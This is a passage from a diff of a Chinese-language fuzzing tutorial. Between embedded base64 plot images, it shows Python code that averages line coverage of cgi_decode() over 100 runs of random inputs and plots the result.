klvMzMrxQHDzMxKccAwM7NSHDDMzKyUtmr0lrQceGgDN58EPDGEyWkFnXjO0Jnn3YnnDJ153ut7zi+LiMllVmyrgLExJC0qe6dAu+jEc4bOPO9OPGfozPNu5Dm7SsrMzEpxwDAzs1IcMNaa1+wENEEnnjN05nl34jlDZ553w87ZbRhmZlaKSxhmZlaKA4aZmZXS8QFD0iGS7pF0n6RTmp2eRpE0TdJVkhZLukvSSXn+NpKukHRv/r91s9M61CSNlnSrpJ/n6ZdLujGf8wW5G/22ImkrSRdJujtf833a/VpL+nj+bN8paaGkTdvxWkuaL2mZpDsL86peWyXfzPnb7ZJevzHH7uiAIWk08G3gUGAmcIykmc1NVcP0AZ+IiN2AvYET87meAlwZEbsAV+bpdnMSqav8iq8A/5nP+Wng+KpbtbZvAL+MiFcBu5POv22vtaSpwMeAroh4DTCaNJRCO17rBcAhA+bVuraHArvkv7nAdzfmwB0dMIC9gPsi4v6IeBH4EXB4k9PUEBHxaETckl+vIGUgU0nne15e7TzgiOaksDEk7Qi8AzgnTws4ELgor9KO57wF8BbgXICIeDEinqHNrzVpBNHN8qiemwOP0obXOiKuBZ4aMLvWtT0c+H4kNwBbSdphQ4/d6QFjKvBIYXpJntfWJM0A9gBuBLaPiEchBRVgu+alrCHOAj4F9OfpbYFn8kBd0J7XfCdgOfC9XBV3jqTxtPG1joi/AF8HHiYFimeBm2n/a11R69oOaR7X6QFDVea19X3GkiYAFwMnR0R3s9PTSJIOA5ZFxM3F2VVWbbdrPgZ4PfDdiNgDeJ42qn6qJtfZHw68HJgCjCdVxwzUbtd6MEP6ee/0gLEEmFaY3hFY2qS0NJykTUjB4vyIuCTPfrxSRM3/lzUrfQ2wH/AuSQ+SqhsPJJU4tsrVFtCe13wJsCQibszTF5ECSDtf64OAByJieUT0ApcA+9L+17qi1rUd0jyu0wPGTcAu+U6KsaRGskubnKaGyHX35wKLI+LMwqJLgTn59Rzgp8OdtkaJiH+LiB0jYgbp2v46It4HXAX8bV6trc4ZICIeAx6RtGue9Vbgj7TxtSZVRe0tafP8Wa+cc1tf64Ja1/ZS4O/y3VJ7A89Wqq42RMc/6S1pNulX52hgfkR8sclJaghJbwJ+A9zB2vr8T5PaMS4EppO+dEdGxMAGtZYn6QDgXyLiMEk7kUoc2wC3AsdFRE8z0zfUJM0iNfSPBe4HPkj6gdi211rS54CjSHcE3gqcQKqvb6trLWkhcACpG/PHgdOAn1Dl2ubg+S3SXVUvAB+MiEUbfOxODxhmZlZOp1dJmZlZSQ4YZmZWigOGmZmV4oBhZmalOGCYmVkpDhjW8SR9WdIBko5Y3x6LJU3OvaHeKunNA5ad04jOLCV9eqj3aVaGb6u1jifp16QOCr8EXBQRv12PbY8GDo2IOYOuPEQkPRcRE4breGYVLmFYx5L0NUm3A28Aric96PVdSadWWfdlkq7MYwpcKWl6fjjuq8BsSbdJ2mzANldL6sqvn5P0RUl/kHSDpO3z/AWSzpb0G0l/yv1fIekDkr5V2NfPcynoDFKPrLdJOl/SeEm/yPu9U9JRDXq7zBwwrHNFxCdJQWIBKWjcHhGvi4jTq6z+LVI30a8Dzge+GRG3AacCF0TErIhYWedw44EbImJ34Frg7wvLZgD7k0o5Z0vatE6aTwFW5uO9j/QE79KI2D2PA/HLMudutiEcMKzT7QHcBryK1PdQLfsA/51f/wB403oe50Xg5/n1zaQgUXFhRPRHxL2kbjxetR77vQM4SNJXJL05Ip5dz3SZlTZm8FXM2k+uTlpA6r3zCdKAO5J0G7DPIKUFWP8uontjbYPhatb97g3cV5D6Qyr+oKta6oiIP0naE5gNfFnSr2qUkMw2mksY1pEi4raImAX8iTQ876+Bt9epWvodqcdbgPcB1w1hco6UNErSzqTBj+4BHgRm5fnTSKNDVvTmruqRNAV4ISJ+SBpAaKPGbDarxyUM61iSJgNPR0S/pFdFRL0qqY8B8yV9kjSa3QeHMCn3ANcA2wMfjohVkn4LPECqcroTuKWw/jzgdkm3AN8HviapH+gFPjKE6TJbh2+rNWsiSQuAn0fERYOta9ZsrpIyM7NSXMIwM7NSXMIwM7NSHDDMzKwUBwwzMyvFAcPMzEpxwDAzs1L+P56ckn3d0bv1AAAAAElFTkSuQmCC
+)
+
+当然，这只是*一个*运行； 因此，让我们重复多次并绘制平均值。
+
+```py
+runs = 100
+
+# Create an array with TRIALS elements, all zero
+sum_coverage = [0] * trials
+
+for run in range(runs):
+    all_coverage, coverage = population_coverage(hundred_inputs(), cgi_decode)
+    assert len(coverage) == trials
+    for i in range(trials):
+        sum_coverage[i] += coverage[i]
+
+average_coverage = []
+for i in range(trials):
+    average_coverage.append(sum_coverage[i] / runs)
+
+```
+
+```py
+plt.plot(average_coverage)
+plt.title('Average coverage of cgi_decode() with random inputs')
+plt.xlabel('# of inputs')
+plt.ylabel('lines covered')
+
+```
+
+```py
+Text(0,0.5,'lines covered')
+
+```
+
+![](data:image/png;base64,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